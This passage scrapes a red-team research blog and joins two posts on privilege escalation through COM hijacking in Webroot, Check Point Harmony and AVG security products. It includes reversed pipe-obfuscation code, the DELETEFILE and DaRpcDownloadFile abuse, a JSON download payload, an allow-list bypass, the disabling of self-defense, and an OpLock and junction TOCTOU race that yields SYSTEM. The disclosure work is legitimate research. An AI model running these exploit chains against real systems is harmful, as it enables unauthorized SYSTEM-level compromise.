Navigation

Having confirmed that we could execute code in the security product’s front-end process, our next step was to examine the communication between the front and back end.

Reverse engineering the communication

To monitor named pipe communication, we utilized the IO Ninja Monitor. We could see that each time we interacted with the service from the client application, some data was sent over the pipe \ \ . \ pipe\WRSVCPipe. Unfortunately, the data was nonsense, and we couldn’t identify any meaningful strings or commands within this communication:

14:40:36 +53:21.506 Client file opened
File name: \WRSVCPipe
File ID: 0xFFFFAB04BA10ACF0
Process: \Device\HarddiskVolume2\Program Files\Webroot\WRSA.exe
PID: 540

14:40:36 +53:21.506 Server file opened
File name: \WRSVCPipe
File ID: 0xFFFFAB04B3C0B700
Process: \Device\HarddiskVolume2\Program Files\Webroot\WRSA.exe
PID: 1716

14:40:36 +53:21.507 File ID 0xFFFFAB04BA1090D0:

14:40:36 +53:21.507 > 0000 a5 a5 08 a6 09 b9 08 ba 09 bd 08 be 09 b1 08 b2 …………….
> 0010 09 b5 08 b6 09 c9 08 ca 09 cd 08 ce 09 c1 08 c2 …………….
> 0020 09 c5 08 c6 09 d9 08 da 09 dd 08 de 09 d1 08 d2 …………….
> 0030 09 d5 08 d6 09 e9 08 ea 09 ed 08 ee 09 e1 08 e2 …………….
> 0040 09 e5 08 e6 09 f9 08 fa 09 fd 08 fe 09 f1 08 f2 …………….
> 0050 09 f5 08 f6 09 09 08 0a 09 0d 08 0e 09 01 08 02 …………….
> 0060 09 05 08 06 09 19 08 1a 09 1d 08 1e 09 11 08 12 …………….
> 0070 09 15 08 16 09 29 08 2a 09 2d 08 2e 09 21 08 22 …..).*.-…!.”
> 0080 09 25 08 26 09 39 08 3a 09 3d 08 3e 09 31 08 32 .%.&.9.:.=.>.1.2
> 0090 09 35 08 36 09 49 08 4a 09 4d 08 4e 09 41 08 42 .5.6.I.J.M.N.A.B
> 00a0 09 45 08 46 09 59 08 5a 09 5d 08 5e 09 51 08 52 .E.F.Y.Z.].^.Q.R
> 00b0 09 55 08 56 09 69 08 6a 09 6d 08 6e 09 61 08 62 .U.V.i.j.m.n.a.b
[…]

Searching for xrefs in the WRSA.exe client application found many references to the \\.\pipe\WRSVCPipe. We could observe the recurring following pattern:

input_data = HeapAlloc(ProcessHeap, 8u, 0x1E89u);
if ( !v3 )
return 0;
*input_data = 53; // Write first byte? A command?
res = WriteEncryptedNamedPipe((_DWORD *)this, (int)L"\\\\.\\pipe\\WRSVCPipe", input_data, 0x2710u, 0);

The method WriteEncryptedNamedPipe (renamed by us) implemented some kind of XOR encryption to obfuscate the data transmitted via the named pipe:

if ( buf )
{
for ( i = 1; i < 7816; ++i )
*((_BYTE *)buf + i) ^= *((_BYTE *)buf + i - 1) ^ (unsigned __int8)(i - 85);
*(_BYTE *)buf ^= 0xACu;
}

We can see that each byte of the buffer is XORed multiple times, using both static values (e.g., 0xAC) and dynamic values derived from other parts of the buffer. This explained the “encrypted” traffic and allowed us to build scripts for “decrypting” the traffic. To achieve this, we reversed the encryption routine and implemented the following Python script:

def encrypt(buf):
for i in range(1, len(buf)):
buf[i] ^= buf[i-1] ^ (i - 85) & 0xff
buf[0] ^= 0xAC
return buf

def decrypt(buf):
buf[0] ^= 0xAC
i = 7815
while (i > 0):
buf[i] ^= buf[i-1] ^ (i – 85) & 0xff
i -= 1
return buf

While those strings were not that interesting for our use case, we identified a structure in the binary traffic: The first byte looks like a command id!

By decrypting the traffic recorded with IO Ninja, we saw various strings that seemed to be cloud URLs. While these strings were not that interesting for us, we identified a unique structure in the binary traffic: The first byte appeared to function as a command identifier!

> decrypted xxd entry_0100.bin | head -n3
00000000: 5200 0000 0000 0000 0000 0000 0000 0000 R...............
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
> decrypted xxd entry_0101.bin | head -n3
00000000: 3a00 0000 0000 0000 0000 0000 0000 0000 :...............
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
> decrypted xxd entry_0001.bin | head -n3
00000000: 2700 0000 0000 0000 0000 0000 ec2e 3277 '.............2w
00000010: 0000 0000 0000 0000 0000 0000 76dc b394 ............v...
00000020: 0000 0000 a011 9a76 0000 0000 2400 0000 .......v....$...

Trying to reconstruct the binary message format, we discovered a global handler function responsible for processing these commands:

int __stdcall MsgRecv_Callback(int *a1, unsigned int *input_buf, void *a3, int a4, _DWORD *a5)
{
// [...]
if ( !input_buf )
return 7816;
v6 = *input_buf;
// [...]
if ( v6 > 0x64 ) // [1]
{
if ( (int *)off_6A4500 != &off_6A4500 && (v7 & 1) != 0 && *(_BYTE *)(off_6A4500 + 25) >= 4u )
TraceMsg_Wrap(*(_QWORD *)(off_6A4500 + 16), 0x17u, &stru_66D2CC, v6);
return 7816;
}
if ( !cmd_handler_table[v6] )
{
// Invalid function table?
}
// ... more checks
if ( v17 )
{
cmd_id_to_string(*a1, (int)input_buf, v8); // [2]
((void (__thiscall *)(int, int *, unsigned int *, int))cmd_handler_table[v6])(funcs_42CE5D[v6], a1, input_buf, a4); // [3]
}

The handler function performs several actions: In [1], it first checks if the command_id exceeds the valid range (>0x64). If within bounds, it invokes the corresponding handler function for the command_id from the function table (see [3]). Nicely for us, it utilizes the cmd_id_to_string for debugging/ tracing purposes (see [2]), which we can use to identify interesting command IDs:

case 0x36:
v5 = "FLUSH_CONFIGURATION";
goto LABEL_116;
case 0x37:
v5 = "DELETEFILE";
goto LABEL_116;
case 0x38:
v5 = "INSTALL_PACKAGE";
goto LABEL_116;
case 0x39:
v5 = "GET_PACKAGE_STATUS";
goto LABEL_116;
case 0x3A:
v5 = "PERFORM_WALL";
goto LABEL_116;

Among the various command IDs, one particular caught our attention: 0x37 DELETEFILE, so let us look at its implementation:

int __stdcall arbitaryDelete(int *a1, int decrypted_buffer, int a3)
{
WCHAR *v3; // esi

v3 = (WCHAR *)(decrypted_buffer + 8);
if ( DeleteFileW((LPCWSTR)(decrypted_buffer + 8)) )
*(_DWORD *)(decrypted_buffer + 532) = 1;
else
sub_4D7090(*a1, v3);
RemoveDirectoryW(v3);
return 1;
}

As observed in the function table invocation within MsgRecv_Callback, we control the second argument, which corresponds to the decrypted input buffer. By strategically placing a filename at offset 0x08 in the buffer, we could delete any file or directory with SYSTEM privileges!

Exploiting file deletion

We identified the file delete functionality as a potential privilege escalation vector. The file delete command exchanged between the front end and back end was composed as follows:

-------------------------------------------
| opcode| 7x 0-bytes | Filename | 0-bytes |
-------------------------------------------

The first value was the opcode for the file delete operation in our version, 0x37. This was followed by seven zero-bytes and a filename provided as a Unicode string. The overall size of each command was 7816 bytes.

By replicating the previously described obfuscation logic, we could craft and send our own delete commands via the named pipe used for issuing commands.

To leverage the file delete functionality for privilege escalation, we used a publicly available PoC provided by the ZDI. The exploit involves replacing a rollback script used during an MSI installation and performing DLL hijacking to spawn a cmd.exe process as SYSTEM when the on-screen keyboard is opened on the lock screen (more details can be found here).

We ran the exploit with the delete command targeting C:\\Config.msi::$INDEX_ALLOCATION. The following image shows the successful execution:

Figure 2: Successful exploitation of a file delete

Process Monitor confirmed the file deletion:

Figure 3: File deletion visible in Process Monitor

After executing the exploit, pressing CTRL+ALT+DELETE and opening the on-screen keyboard on the lock screen triggered the execution of cmd.exe as SYSTEM. Great:

Figure 4: cmd.exe running as SYSTEM

In summary, our exploit worked as follows:

  • We run the exploit published by ZDI.
  • We hijack the COM interface to trigger the loading of our DLL.
  • Our DLL issues a delete command for C:\\Config.msi::$INDEX_ALLOCATION.
  •  The ZDI PoC places a (malicious) DLL on our system that will be loaded by the on-screen keyboard.
  • Opening the on-screen keyboard on the lock screen spawns cmd.exe as SYSTEM.

Vulnerability 2: Abusing a file download for privilege escalation

For the second vulnerability, we hijacked the dataexchange.dll COM interface. Hijacking the interface, as described in part 1, allowed us to execute code in the front-end process when opening and closing an extended menu point in Check Point Harmony UI. In the following screenshot, the menu point is underlined in red:

Figure 5: Menu point triggering the targeted COM interface

We then needed to find some interesting exposed functionality to leverage this.

Reverse Engineering the communication

Unlike other security products, this client had multiple modules and a strict separation of RPC interfaces. This, conveniently, allowed us to quickly identify an interesting DLL: DeviceAgentAPI.dll. This DLL is imported from other modules, and the API functionality is exposed as PE exports:

Figure 6: RPC exports in the DeviceAgentAPI.dll

Reverse engineering the exported functions, we could indeed confirm that RPC is used: We found references to RpcBindingFromStringBindingW and the actual RPC invocation in NdrClientCall2. We also identified the interface GUID for the client as 2a3ac2b3-43df-471f-b621-f94769c30081.

The function DaRpcDownloadFile quickly caught our eye: File operations in a (potentially) privileged context are always dangerous. To verify its impact, we needed to find the RPC server binding for the GUID 2a3ac2b3-43df-471f-b621-f94769c30081. Using the approach used in the second part of this series, we traced it to cpda.exe, a highly privileged service:

"cpda.exe": {
"2a3ac2b3-43df-471f-b621-f94769c30081": {
"number_of_functions": 10,
"functions_pointers": [
"0x63d3e0",
"0x63d650",
// [...]

Following some nested RPC function tables and C++ vtables, we eventually discovered the Downloader::IDownloader::vftable:

this[11] = &Downloader::IDownloader::`vftable;
// [...]

// Overwrite with new vtable for IDownloader
this[11] = &CDA::vftable;

Other functions linked in the vtable contain strings like CDA::DownloadFile, confirming the correct vtable call:

.rdata:0093A168 ??_7CDA@@6B@_7 dd offset RpcDownloadFileInternal
.rdata:0093A168 ; DATA XREF: sub_4CE7C7+A8
.rdata:0093A168 ; sub_4CF7EC+66
.rdata:0093A16C dd offset sub_508D20
.rdata:0093A170 dd offset sub_508FAB
.rdata:0093A174 dd offset sub_534D15

Inside RpcDownloadFileInternal, the readJSONSafe method processes arguments as one JSON. This explains why the DaRpcDownloadFile only accepts one argument instead of multiple, as one would naturally expect. Although the service code is quite hard to read, the strings like url, localPath and connectTimeoutMs allowed us to guess the structure of the JSON object this method expects.

All left to do was to load the DeviceAgentAPI.dll into the process and call the DaRpcDownloadFile export with the following JSON string:

{"url":"http://127.0.0.1/HID.dll","localPath":"C:/Program Files/Common Files/microsoft shared/ink/HID.DLL"}

Escalating our privileges

We wrote a DLL to import DeviceAgentAPI.dll and call DaRpcDownloadFile with a JSON specifying a local path and a hosted file URL. For convenience, we served the file locally via a Python web server, but we could also use a remote server here.

The file, HID.dll, was placed in C:/Program Files/Common Files/microsoft shared/ink/, allowing to DLL hijack the on-screen keyboard and spawn a CMD as SYSTEM. The source code is available from the ZDI on Github.

Upon triggering the COM hijack to load our DLL, we observed a request on our Python web server:

Figure 7: Webserver hosting HID.dll

Process Monitor confirmed that the COM DLL was loaded into the cptrayUI.exe process …

Figure 8: DLL loaded by the frontend

…and that the `HID.dll` file was placed into the target folder:

Figure 9: HID.dll placed in the target directory

After pressing CTRL+ALT+DELETE and opening the on-screen keyboard on the lock screen, a cmd.exe process running as SYSTEM was spawned, concluding our privilege escalation:

Figure 10: cmd.exe running as SYSTEM

To summarize, our second exploit worked as follows:

  • We host the HID.dll file on a web server.
  • We hijack the COM interface and load our DLL into the trusted front-end process.
  • Our DLL calls DaRpcDownloadFile with the local path C:/Program Files/Common Files/microsoft shared/ink/ and the URL of our web server provided as JSON.
  • The backend downloads the DLL we host on the web server to the indicated location.
  • We go to the lock screen and open the on-screen keyboard.
  • The DLL we placed gets loaded and opens a cmd.exe process running as SYSTEM on the lock screen.

Conclusion

This blog post covered two vulnerabilities we discovered during our research. First, we discussed how we found and abused a file delete primitive in Webroot Endpoint Protect to escalate our privileges. Then, we showed how we found and abused a file download primitive in Checkpoint Harmony.

In the final blog post of this series, we will discuss one last privilege escalation vulnerability we found in Bitdefender Total Security (CVE-2023-6154) and a denial-of-service opportunity that COM hijacking offers.

Further blog articles

Command-and-Control

Beacon Object Files for Mythic – Part 3

December 4, 2025 – This is the third post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this final post, we will provide insights into the development of our BOF loader as implemented in our Mythic beacon. We will demonstrate how we used the experimental Mythic Forge to circumvent the dependency on Aggressor Script – a challenge that other C2 frameworks were unable to resolve this easily.

Author: Leon Schmidt

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 2

November 27, 2025 – This is the second post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this second post, we will present some concrete BOF implementations to show how they are used in the wild and how powerful they can be.

Author: Leon Schmidt

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 1

November 19, 2025 – This is the first post in a series of blog posts on how we implemented support for Beacon Object Files into our own command and control (C2) beacon using the Mythic framework. In this first post, we will take a look at what Beacon Object Files are, how they work and why they are valuable to us.

Author: Leon Schmidt

Mehr Infos »
Red Teaming

The Key to COMpromise – Part 2

January 29, 2025 – In this post, we will delve into how we exploited trust in AVG Internet Security (CVE-2024-6510) to gain elevated privileges.
But before that, the next section will detail how we overcame an allow-listing mechanism that initially disrupted our COM hijacking attempts.

Author: Alain Rödel and Kolja Grassmann

Mehr Infos »
Red Teaming

The Key to COMpromise – Part 1

January 15, 2025 – In this series of blog posts, we cover how we could exploit five reputable security products to gain SYSTEM privileges with COM hijacking. If you’ve never heard of this, no worries. We introduce all relevant background information, describe our approach to reverse engineering the products’ internals, and explain how we finally exploited the vulnerabilities. We hope to shed some light on this undervalued attack surface.

Author: Alain Rödel and Kolja Grassmann

Mehr Infos »
Blog

Loader Dev. 4 – AMSI and ETW

April 30, 2024 – In the last post, we discussed how we can get rid of any hooks placed into our process by an EDR solution. However, there are also other mechanisms provided by Windows, which could help to detect our payload. Two of these are ETW and AMSI.

Author: Kolja Grassmann

Mehr Infos »
Blog

Loader Dev. 1 – Basics

February 10, 2024 – This is the first post in a series of posts that will cover the development of a loader for evading AV and EDR solutions.

Author: Kolja Grassmann

Mehr Infos »
Do you want to protect your systems? Feel free to get in touch with us.

The Key to COMpromise – Part 2

Search

The Key to COMpromise – Part 2

January 29, 2025

The Key to COMpromise - Abusing a TOCTOU race to gain SYSTEM, Part 2

Recap

In the first post of this blog series, we explored the architectural design of various security products and demonstrated how COM hijacking can be leveraged to exploit them: We examined a vulnerability that allowed us to replay a modified message over a named pipe, highlighting a potential attack vector.

As discussed previously, many security products have frontend processes operating in the context of an unprivileged user, which are capable of initiating privileged actions – such as adding exclusions  – by interacting with a backend service running at higher privileges. To prevent abuse, most vendors implement mechanisms to ensure these actions originate from trusted processes and take steps to protect those processes from tampering.

However, because frontend processes execute with limited user privileges, COM hijacking presents an opportunity to load a malicious DLL into the process. In our research, we found that this attack vector was viable across all the products we targeted, allowing us to exploit the security product’s inherent trust in its own processes.

To capitalize on this trust relationship, we needed to reverse engineer the communication protocols between the frontend and backend processes. This helped us identify interactions that could be manipulated to escalate privileges.

In this post, we will delve into how we exploited this trust in AVG Internet Security (CVE-2024-6510 ) to gain elevated privileges. But before that, the next section will detail how we overcame an allow-listing mechanism that initially disrupted our COM hijacking attempts.

Figure 1: User Interface of the AVG Internet Security Solution
Alain Rödel and Kolja Grassmann

Consultants

Category
Date
Navigation

Circumventing an allow list

For this part of our research, we employed the same basic technique as before, but with one key difference: this time, the COM interface was triggered each time we opened a file dialog to block an application. However, we encountered a restriction – we could not load our DLL from just any folder.

When trying to load the DLL from our custom folder at C:\poc, we could not observe any successful DLL load in the Process Monitor. In contrast, the original DLL path worked without issue.
Through trial and error, we discovered that placing our DLL in the  C:\Windows\system32 directory allowed it to load successfully. This behavior revealed that the product validates the DLL’s directory against an allow list, likely as a defense against DLL hijacking attacks.

While loading from C:\Windows\system32 bypassed the allow list, this approach was impractical for our privilege escalation since an unprivileged user cannot write to this directory. However, based on our prior experience bypassing AppLocker configurations, we knew that some subdirectories within C:\Windows\system32 were writable by unprivileged users. One such directory is C:\Windows\System32\spool\drivers\color. By placing the DLL used for the COM hijacking in this writable subdirectory, we successfully bypassed the allow list and achieved code execution in the frontend process.

Figure 2: Schematic ACLs on specific folders in SYSTEM32

With this DLL injection method established, the next step was to analyze the communication with backend processes. In the following section, we will discuss how we leveraged this primitive to manipulate the trust relationship and escalate privileges.

Reverse engineering the RPC communication

Reverse Engineering RPC communication can be a daunting task, especially in the beginning. Fortunately, tools like RpcView are invaluable for enumerating and identifying RPC interfaces. However, the process ultimately requires in-depth reverse engineering efforts. For our work with AVG, we used the excellent Akamai Research RPC Toolkit to identify and analyze various RPC interfaces across the different AVG binaries.

Our focus was on RPC server interfaces, as these are the endpoints exposed by high-privileged processes. While the AVGSvc.exe executable does not contain RPC server bindings, we found that the ashServ.dll DLL, which is loaded by the service, does expose such interfaces!

The Akamai RPC Toolkit produced the following output: 

"ashServ.dll": {
// [...]
"908d4c23-138f-4ac5-af4a-08584ae7c67b": {
"number_of_functions": 22,
"functions_pointers": [
"0x1654e0700",
"0x1654e0790",
// [...]
],
"role": "server",
"flags": "0x6000000",
"interface_address": "0x165f96020",
// [...]
"eb915940-6276-11d2-b8e7-006097c59f07": {
"number_of_functions": 106,
"functions_pointers": [
"0x1655c8180",
"0x1655c8290",
// [...]
"role": "server",
"flags": "0x6000000",
"interface_address": "0x165fca670"
},
"1118fbbd-02ee-4910-9d86-9940537ee146": {
"number_of_functions": 23,
"functions_pointers": [
"0x1655c08d0",
"0x1655c6be0",
// [...]
],
"role": "server",
"flags": "0x6000000",
"interface_address": "0x165fccfb0"
}

From this output, we can observe three major interfaces with 22, 106, and 23 exposed endpoints. The largest interface is the [Aavm] RPC interface, which has been the subject of previous research and exploitation. Searching the interface GUID on the web reveals some other interesting blog posts back in the year 2015.

Reverse engineering and renaming the functions within the RPC interface is tedious but relatively straightforward.

Figure 3: Some renamed RPC functions of the Aavm RPC interface

Through this analysis, we discovered an RPC function named AavmRpcRunSystemComponent that uses the CreateProcess API without RPC impersonation:

.rdata:0000000165FCA550 dq offset sub_1655C5580
.rdata:0000000165FCA558 dq offset sub_1655C55D0
.rdata:0000000165FCA560 dq offset AavmRpcRunSystemComponent
.rdata:0000000165FCA568 dq offset DecryptData
.rdata:0000000165FCA570 dq offset AddNetAlert

When the RPC client is not impersonated, any new process spawned through this function will run with SYSTEM privileges, creating a critical opportunity for privilege escalation. However, before this process is initiated, a DSA_FileVerify check takes place:

__int64 __fastcall AavmRpcRunSystemComponent(__int64 a1, unsigned int whitelist_id, __int64 arguments, DWORD *out_pid)
{
// [...]
char out_string[32];
// [...]
v8 = GetFileById(out_string, whitelist_id); // [1]
// [...]
FileW = CreateFileW((LPCWSTR)out_string, 0x80000000, 1u, 0i64, 3u, 0x8000000u, 0i64);
v12 = FileW;
v21 = (__int64)FileW;
if ( FileW == (HANDLE)-1i64 )
{
// file not found
}
if ( !GetFinalPathNameByHandleW(FileW, szFilePath, 0x104u, 0) )
{
// File path could not be resolved
}
if ( whitelist_id != 2 && !(unsigned __int8)DSA_FileVerify(szFilePath, 0i64, 18i64) ) // [2]
{
LastError = 87; // ERROR_INVALID_PARAMETER
CloseHandle(v12);
return LastError;
}
// [...]
snprintf(combined_arguments, v15, L"%s %s", szFilePath, arguments); // [3]
// [...]
if ( CreateProcessW(szFilePath, combined_arguments, 0i64, 0i64, 0, 0, 0i64, 0i64, &StartupInfo, &ProcessInformation) ) // [4]
{
// Win ?

The DSA_FileVerify function performs several validations:

  1. Based on the integer argument in [1], it returns a filename. Most of the executable files in this list are repair or setup tools, such as aswOfferTool.exe, SupportTool.exe and AvEmUpdate.exe, which limits the options to those predefined binaries.
  2. A file signature verification is performed in [2] to ensure only trusted binaries can be executed. This check prevents an attacker from inserting their own malicious binary into the process.
  3.  Finally, the program arguments are constructed in [3], and the process is created with SYSTEM privileges in [4].

Although this function appears to be a promising privilege escalation vector, the constraints of the allow-listed binaries and file signature verification present significant roadblocks. Without the ability to exploit any of the allow-listed programs, this avenue may seem like a dead end.

To overcome this limitation, we decided to experiment with the RPC client bindings found in the aavmrpch.dll library. Using this approach, we began testing the functionality of various RPC interfaces, with particular emphasis on the AavmRpcRunSystemComponent function, to explore potential exploitation paths.

Abusing the update mechanism

The most promising target for exploitation was the AvEmUpdate.exe executable, which accepts a range of command-line arguments. This executable is responsible for installing updates provided as cab or DLL files. Since we could control the arguments passed to it, this presented a compelling opportunity for further exploration.

One particularly interesting argument was /applydll, which allows the process to load a specified DLL. Crucially, because the process runs with SYSTEM privileges, this argument could potentially be abused to escalate privileges. However, the update mechanism includes an additional safeguard: it verifies that the provided DLL is signed by the manufacturer. This signature check prevented us from directly supplying a custom DLL to gain SYSTEM privileges.

TOCTOU race

Despite this limitation, we were confident that we could bypass the integrity check by carefully analyzing and exploiting the logic of the process. We finally found a time of use vs time of check (TOCTOU) issue in the logic, which made the integrity checks bypassable. To exploit this reliably, we employed a combination of OpLocks (opportunistic locks) and junctions.

To control the timing of the file accesses during exploitation and exploit our race reliably we needed a way to put the update process in a waiting state. Here we used OpLock to block access to the DLL file and force the update process to wait for us releasing the OpLock. This works even on processes running as SYSTEM, while operating as an unprivileged user. This gives us time to prepare for the next step.

We also want to be able to switch out the DLL file while holding our OpLock. This is where junctions come in. Junctions are symbolic links that can redirect file system access to a different location. Since an unprivileged user can create junctions, we used this capability to redirect file accesses during the exploitation process while holding our OpLock. We can point the junction to an other location for the next file access and there precisely control which file is accessed for each single file access. For more information on OpLocks and junctions, refer to the code provided by James Forshaw and this article from ZDI.

Here’s how the exploit worked:

  1. The AvEmUpdate.exe process made multiple file accesses before loading the DLL, likely to verify its legitimacy.
  2. Using a junction, we redirected the process to a valid, signed DLL for the first three file access attempts.
  3.  On the fourth file access, when the process attempted to load the DLL, we redirected the junction to our malicious DLL containing the privilege escalation payload.

Because we were holding an OpLock on the initial three file accesses, we could dynamically change the target of the junction while the SYSTEM process was waiting for access to the previous file. After updating the junction’s target, we released the OpLock, allowing the process to move on to the next file. We repeated this until the fourth access successfully loaded our malicious DLL.

Figure 4: Visualization of the junction redirects

Note that the process always accesses the same file; however, using the junction, we change the files accessible under this path.

While this technique successfully allowed us to bypass the signature verification and load our malicious DLL, it wasn’t sufficient on its own to fully escalate privileges. In the next section, we will delve into the additional steps required to achieve high privileges on the system and the challenges we encountered along the way.

Disabling self-defence

Even after successfully executing the TOCTOU (time-of-check-to-time-of-use) race, our malicious DLL was not loaded into the process. Upon further investigation, we discovered that the process only loaded DLLs with valid signatures. This added layer of protection significantly complicated our exploitation attempts. We suspect this behavior was due to the process being launched as a PPL (Protected Process Light) process.

After some trial and error, we found that this restriction was enforced only when the product’s self-protection feature was enabled. Fortunately, we identified an RPC function, AavmRpcDisableSelfDefense, that could disable this self-protection mechanism. This function was exported by the same DLL (ashServ.dll) we had already interacted with in our previous RPC calls. By calling this function, we successfully disabled the product’s self-defense feature.

With self-defense disabled, our malicious DLL was successfully loaded into the process running with SYSTEM privileges, finally completing the privilege escalation.

To summarize, the exploitation in this case worked as follows:

1. Initial entry with COM hijacking:

  • We used COM hijacking to load a DLL into the frontend process.
  • To bypass the allow-listing mechanism, the DLL was placed in C:\Windows\System32\spool\drivers\color

2. Disabling self-defense:

  •  The loaded DLL then called the function AavmRpcDisableSelfDefense to deactivate the product’s self-protection feature.

3. Triggering the update mechanism:

  •  The DLL triggered an update by calling AavmRpcRunSystemComponent.
  • Using a junction in combination with OpLocks, we tricked the update process into loading an unsigned DLL.
  • This allowed us to escalate our privileges to SYSTEM.

Summary

In this blog post, we demonstrated how COM hijacking was leveraged to gain SYSTEM privileges for exploiting AVG Internet Security to gain privileges. Unlike the previous case, we encountered additional obstacles, namely an allow-listing mechanism, that initially blocked our DLL. We described how we bypassed this restriction by placing the DLL in a writable system directory. We detailed our reverse engineering of the product’s RPC calls, which uncovered functions that allowed us to disable self-protection and trigger the update mechanism. By combining a junction and OpLocks, we bypassed the signature check and successfully loaded an unsigned DLL, enabling us to escalate privileges to SYSTEM.

In the next post, we will explore two additional vulnerabilities related to COM hijacking and describe how we exploited them to achieve privilege escalation.

This article was written as part of joint research with Neodyme.

Further blog articles

Command-and-Control

Beacon Object Files for Mythic – Part 3

December 4, 2025 – This is the third post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this final post, we will provide insights into the development of our BOF loader as implemented in our Mythic beacon. We will demonstrate how we used the experimental Mythic Forge to circumvent the dependency on Aggressor Script – a challenge that other C2 frameworks were unable to resolve this easily.

Author: Leon Schmidt

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 2

November 27, 2025 – This is the second post in a series of blog posts on how we implemented support for Beacon Object Files (BOFs) into our own command and control (C2) beacon using the Mythic framework. In this second post, we will present some concrete BOF implementations to show how they are used in the wild and how powerful they can be.

Author: Leon Schmidt

Mehr Infos »
Command-and-Control

Beacon Object Files for Mythic – Part 1

November 19, 2025 – This is the first post in a series of blog posts on how we implemented support for Beacon Object Files into our own command and control (C2) beacon using the Mythic framework. In this first post, we will take a look at what Beacon Object Files are, how they work and why they are valuable to us.

Author: Leon Schmidt

Mehr Infos »
Red Teaming

The Key to COMpromise – Part 2

January 29, 2025 – In this post, we will delve into how we exploited trust in AVG Internet Security (CVE-2024-6510) to gain elevated privileges.
But before that, the next section will detail how we overcame an allow-listing mechanism that initially disrupted our COM hijacking attempts.

Author: Alain Rödel and Kolja Grassmann

Mehr Infos »
Red Teaming

The Key to COMpromise – Part 1

January 15, 2025 – In this series of blog posts, we cover how we could exploit five reputable security products to gain SYSTEM privileges with COM hijacking. If you’ve never heard of this, no worries. We introduce all relevant background information, describe our approach to reverse engineering the products’ internals, and explain how we finally exploited the vulnerabilities. We hope to shed some light on this undervalued attack surface.

Author: Alain Rödel and Kolja Grassmann

Mehr Infos »
Blog

Loader Dev. 4 – AMSI and ETW

April 30, 2024 – In the last post, we discussed how we can get rid of any hooks placed into our process by an EDR solution. However, there are also other mechanisms provided by Windows, which could help to detect our payload. Two of these are ETW and AMSI.

Author: Kolja Grassmann

Mehr Infos »
Blog

Loader Dev. 1 – Basics

February 10, 2024 – This is the first post in a series of posts that will cover the development of a loader for evading AV and EDR solutions.

Author: Kolja Grassmann

Mehr Infos »
Do you want to protect your systems? Feel free to get in touch with us.
Search
Search